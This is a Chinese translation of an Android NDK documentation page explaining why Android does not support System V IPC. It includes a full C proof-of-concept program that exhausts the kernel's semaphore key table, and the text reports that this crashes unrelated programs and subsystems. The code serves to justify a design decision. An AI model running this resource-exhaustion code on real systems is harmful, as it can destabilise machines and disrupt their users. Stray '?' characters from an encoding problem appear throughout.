【翻译】(17)SYSV IPC
-----------------
英文文档见android-ndk-r6b的documentation.html
属于Android Native Development Kit (NDK)的一部分
见
http://developer.android.com/sdk/ndk/index.html
翻译仅个人见解
-----------------
?
Android does not support System V IPCs, i.e. the facilities provided by the following standard Posix headers:
?
Android不支持系统五进程间通信。即以下标准Posix头文件提供的工具：（注：Posix是Unix可移植操作系统接口的简称，是一种操作系统的API标准，但不限于Unix）
?
? <sys/sem.h> ? /* SysV semaphores 系统五信号量*/
? <sys/shm.h> ? /* SysV shared memory segments 系统五内存段*/
? <sys/msg.h> ? /* SysV message queues 系统五消息队列*/
? <sys/ipc.h> ? /* General IPC definitions 通用进程间通信定义*/
?
The reason for this is due to the fact that, by design, they lead to global kernel resource leakage.
?
之所以要这样做，是因为这样的事实，设计上它们会导致全局内核资源泄漏。
?
For example, there is no way to automatically release a SysV semaphore allocated in the kernel when:
?
例如，没有一种方法自动地释放在内核中分配的系统五信号量，当：
?
- a buggy or malicious process exits
?
- 一个有缺陷或恶意的进程存在。
?
- a non-buggy and non-malicious process crashes or is explicitly killed.
?
- 一个无缺陷且无恶意的进程崩溃或显式地被杀掉。
?
Killing processes automatically to make room for new ones is an important part of Android's application lifecycle implementation. This means that, even assuming only non-buggy and non-malicious code, it is very likely that over time, the kernel global tables used to implement SysV IPCs will fill up.
?
自动杀掉进程以腾出空间给新的进程，是Android应用程序生命周期实现的重要部分。这意味着，即便假设只有无缺陷且无恶意的代码，还是非常可能在不久后，用于实现系统五IPC的内核全局表将被填满。
?
At that point, strange failures are likely to occur and prevent programs that use them to run properly until the next reboot of the system.
?
到那时，奇怪的失败有可能会发生，并且阻止使用它们的程序正常运行，直至下一次系统重启。
?
And we can't ignore potential malicious applications. As a proof of concept here is a simple exploit that you can run on a standard Linux box today:
?
而且，我们不可以忽略潜在的恶意应用程序。作为这个观点的证明，这里有一个简单的漏洞（注：这里应该理解为漏洞或溢出攻击），如今你可以运行它在一个标准Linux机器里：
?
--------------- cut here ------------------------
#include <sys/sem.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
?
#define ?NUM_SEMAPHORES ?32
#define ?MAX_FAILS ? ? ? 10
?
int ?main(void)
{
? ? int ? counter = 0;
? ? int ? fails ? = 0;
?
? ? if (counter == IPC_PRIVATE)
? ? ? ? counter++;
?
? ? printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
?
? ? for (;;) {
? ? ? ? int ?ret = fork();
? ? ? ? int ?status;
?
? ? ? ? if (ret < 0) {
? ? ? ? ? ? perror("fork:");
? ? ? ? ? ? break;
? ? ? ? }
? ? ? ? if (ret == 0) {
? ? ? ? ? ? /* in the child 在子进程中*/
? ? ? ? ? ? ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
? ? ? ? ? ? if (ret < 0) {
? ? ? ? ? ? ? ? return errno;
? ? ? ? ? ? }
? ? ? ? ? ? return 0;
? ? ? ? }
? ? ? ? else {
? ? ? ? ? ? /* in the parent 在父进程中*/
? ? ? ? ? ? ret = wait(&status); //注：等待，直至其中一个子进程退出
? ? ? ? ? ? if (ret < 0) {
? ? ? ? ? ? ? ? perror("waitpid:");
? ? ? ? ? ? ? ? break;
? ? ? ? ? ? }
? ? ? ? ? ? if (status != 0) {
? ? ? ? ? ? ? ? status = WEXITSTATUS(status);
? ? ? ? ? ? ? ? fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? counter, status);
? ? ? ? ? ? ? ? if (++fails >= MAX_FAILS)
? ? ? ? ? ? ? ? ? ? break;
? ? ? ? ? ? }
? ? ? ? }
?
? ? ? ? counter++;
? ? ? ? if ((counter % 1000) == 0) {
? ? ? ? ? ? printf("%d\n", counter);
? ? ? ? }
? ? ? ? if (counter == IPC_PRIVATE)
? ? ? ? ? ? counter++;
? ? }
? ? return 0;
}
--------------- cut here ------------------------
?
If you run it on a typical Linux distribution today, you'll discover that it will quickly fill up the kernel's table of unique key_t values, and that strange things will happen in some parts of the system, but not all.
?
今时今日如果你在一个典型的Linux分发版上运行这个程序，你将发现它很快用唯一的key_t值占满内核表，而且将会在系统的某些部分发生奇怪的事情，但不是全部。
?
(You can use the "ipcs -u" command to get a summary describing the kernel tables and their allocations)
?
（你可以使用ipcs -u命令获取一个描述内核表及其分配的概要）
?
（注：ipcs用于提供IPC设施的状态信息，-u表示summary，我在ubuntu上得到的有共享内存，信号量，消息三项）
?
For example, in our experience, anything program launched after that that calls strerror() will simply crash. The USB sub-system starts spoutting weird errors to the system console, etc...
?
例如，以我们的经验看，在发生这种泄漏之后，程序所做的任何事情，一旦其中调用了strerror()就会简单地崩溃。USB子系统开始不断输出奇怪的错误到系统控制台，等等……
?
